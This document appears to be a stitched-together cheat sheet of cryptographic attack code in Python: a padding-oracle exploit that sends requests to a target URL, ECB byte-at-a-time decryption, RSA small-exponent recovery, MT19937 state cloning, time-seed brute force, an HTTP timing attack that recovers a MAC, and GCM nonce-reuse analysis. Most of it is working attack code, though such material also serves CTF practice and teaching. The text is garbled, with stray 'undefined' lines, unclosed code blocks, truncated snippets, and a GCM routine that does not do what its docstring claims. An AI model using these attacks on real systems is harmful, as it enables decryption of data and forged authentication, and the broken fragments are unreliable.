undefined

Build a custom padding oracle exploit when padbuster cannot handle the target's encoding or transport:

```python
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import requests
import struct

def oracle(iv, ciphertext, url):
    """Return True if the server accepts the padding."""
    payload = (iv + ciphertext).hex()
    resp = requests.get(url, params={"data": payload})
    return resp.status_code != 500  # Adapt to your oracle signal

def decrypt_block(prev_block, cipher_block, url, block_size=16):
    """Decrypt a single block via Vaudenay's attack."""
    intermediate = bytearray(block_size)
    plaintext = bytearray(block_size)

    for byte_pos in range(block_size - 1, -1, -1):
        pad_val = block_size - byte_pos
        crafted_iv = bytearray(block_size)

        # Set already-recovered bytes to produce correct padding
        for k in range(byte_pos + 1, block_size):
            crafted_iv[k] = intermediate[k] ^ pad_val

        for guess in range(256):
            crafted_iv[byte_pos] = guess
            if oracle(bytes(crafted_iv), cipher_block, url):
                # Handle the ambiguity on the last byte
                if byte_pos == block_size - 1:
                    crafted_iv[byte_pos - 1] ^= 1
                    if not oracle(bytes(crafted_iv), cipher_block, url):
                        continue
                intermediate[byte_pos] = guess ^ pad_val
                plaintext[byte_pos] = intermediate[byte_pos] ^ prev_block[byte_pos]
                break

    return bytes(plaintext)

def detect_ecb(ciphertext, block_size=16):
    """Detect ECB mode by finding duplicate blocks."""
    blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]
    return len(blocks) != len(set(blocks))

Perform byte-at-a-time decryption against an oracle that appends a secret before encrypting:

```python
def byte_at_a_time_ecb(oracle_func, block_size=16):
    """Recover secret appended by an ECB encryption oracle."""
    recovered = b""

    # Determine the total secret length
    baseline_len = len(oracle_func(b""))

    for i in range(baseline_len):
        block_index = (len(recovered)) // block_size
        # Craft input so the target byte is the last byte of a block
        pad_len = block_size - 1 - (len(recovered) % block_size)
        padding = b"A" * pad_len

        # Get the target block
        target_ct = oracle_func(padding)
        target_block = target_ct[block_index * block_size:(block_index + 1) * block_size]

        # Brute-force the unknown byte
        for byte_val in range(256):
            test_input = padding + recovered + bytes([byte_val])
            test_ct = oracle_func(test_input)
            test_block = test_ct[block_index * block_size:(block_index + 1) * block_size]
            if test_block == target_block:
                recovered += bytes([byte_val])
                break

    return recovered

undefined

```python
import hashpumpy
import requests

original_mac = "a1b2c3d4e5f6..."
original_data = "user=guest&expire=2025"
append_data = "&admin=true"

HMAC constructions (`H(key XOR opad || H(key XOR ipad || message))`) are not vulnerable to length extension. If you identify HMAC in use, pivot to other attack vectors.

---

undefined

Exploit small public exponent (e=3) when the plaintext is short enough that `m^e < n`:

```python
from Crypto.PublicKey import RSA
from gmpy2 import iroot

def small_exponent_attack(ciphertext_int, e, n):
    """When m^e < n, the ciphertext is simply m^e with no modular reduction."""
    plaintext_int, is_perfect = iroot(ciphertext_int, e)
    if is_perfect:
        return int(plaintext_int).to_bytes(
            (int(plaintext_int).bit_length() + 7) // 8, 'big'
        )
    return None

Bleichenbacher's attack targets RSA PKCS#1 v1.5 padding. The oracle is any system that distinguishes between valid and invalid PKCS#1 v1.5 padding after decryption. This includes TLS servers returning different alerts, APIs returning different error codes, and timing differences in error handling. The attack requires approximately 2^20 oracle queries to recover the plaintext.

Coppersmith's method recovers small unknown portions of RSA plaintext or factors when partial information is known. Use SageMath for the lattice computations:

```python

---

def untemper(y):
    """Reverse the MT19937 tempering transform."""
    # Reverse: y ^= y >> 18
    y ^= y >> 18
    # Reverse: y ^= (y << 15) & 0xEFC60000
    y ^= (y << 15) & 0xEFC60000
    # Reverse: y ^= (y << 7) & 0x9D2C5680 (iterative)
    tmp = y
    for _ in range(7):
        tmp = y ^ ((tmp << 7) & 0x9D2C5680)
    y = tmp
    # Reverse: y ^= y >> 11 (iterative)
    tmp = y
    for _ in range(3):
        tmp = y ^ (tmp >> 11)
    y = tmp
    return y

def clone_mt19937(outputs_624):
    """Clone MT19937 state from exactly 624 observed 32-bit outputs."""
    import random
    mt_state = [untemper(o) for o in outputs_624]
    # Reconstruct the state tuple: (3, tuple(624 ints + index), None)
    state = (3, tuple(mt_state + [624]), None)
    cloned = random.Random()
    cloned.setstate(state)
    return cloned

Exploit time-seeded PRNGs by narrowing the seed window:

```python
import random
import time

def brute_force_time_seed(known_output, time_window_start, time_window_end):
    """Recover the seed when random.seed() was called with int(time.time())."""
    for seed in range(int(time_window_start), int(time_window_end)):
        rng = random.Random(seed)
        if rng.getrandbits(32) == known_output:
            return seed
    return None

import requests
import time
import statistics

def timing_attack_mac(url, known_prefix, charset, samples=20):
    """Recover a MAC byte-by-byte via timing side-channel."""
    best_byte = None
    best_time = 0

    for candidate in charset:
        test_mac = known_prefix + candidate + "\x00" * (32 - len(known_prefix) - 1)
        times = []
        for _ in range(samples):
            start = time.perf_counter_ns()
            requests.get(url, params={"mac": test_mac})
            elapsed = time.perf_counter_ns() - start
            times.append(elapsed)

        median = statistics.median(times)
        if median > best_time:
            best_time = median
            best_byte = candidate

    return known_prefix + best_byte

---

from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes, bytes_to_long
import struct

def exploit_gcm_nonce_reuse(ct1, tag1, aad1, ct2, tag2, aad2, nonce):
    """
    Given two ciphertexts encrypted under the same key and nonce,
    recover the GHASH key H and forge tags for arbitrary messages.
    XOR of ciphertexts yields XOR of plaintexts.
    """
    # Recover plaintext XOR
    xor_plaintexts = bytes(a ^ b for a, b in zip(ct1, ct2))

    # Recover GHASH key H from the tag polynomial relationship
    # tag1 = GHASH(H, aad1, ct1) XOR E(K, nonce||0^31||1)
    # tag2 = GHASH(H, aad2, ct2) XOR E(K, nonce||0^31||1)
    # tag1 XOR tag2 = GHASH(H, aad1, ct1) XOR GHASH(H, aad2, ct2)
    # This yields a polynomial in H over GF(2^128)

    # The polynomial root gives H; use SageMath or a GF(2^128) library
    # for the actual field arithmetic
    print(f"Plaintext XOR: {xor_plaintexts.hex()}")
    print("Solve the GHASH polynomial in GF(2^128) to recover H")
    return xor_plaintexts

import hashlib
import itertools

---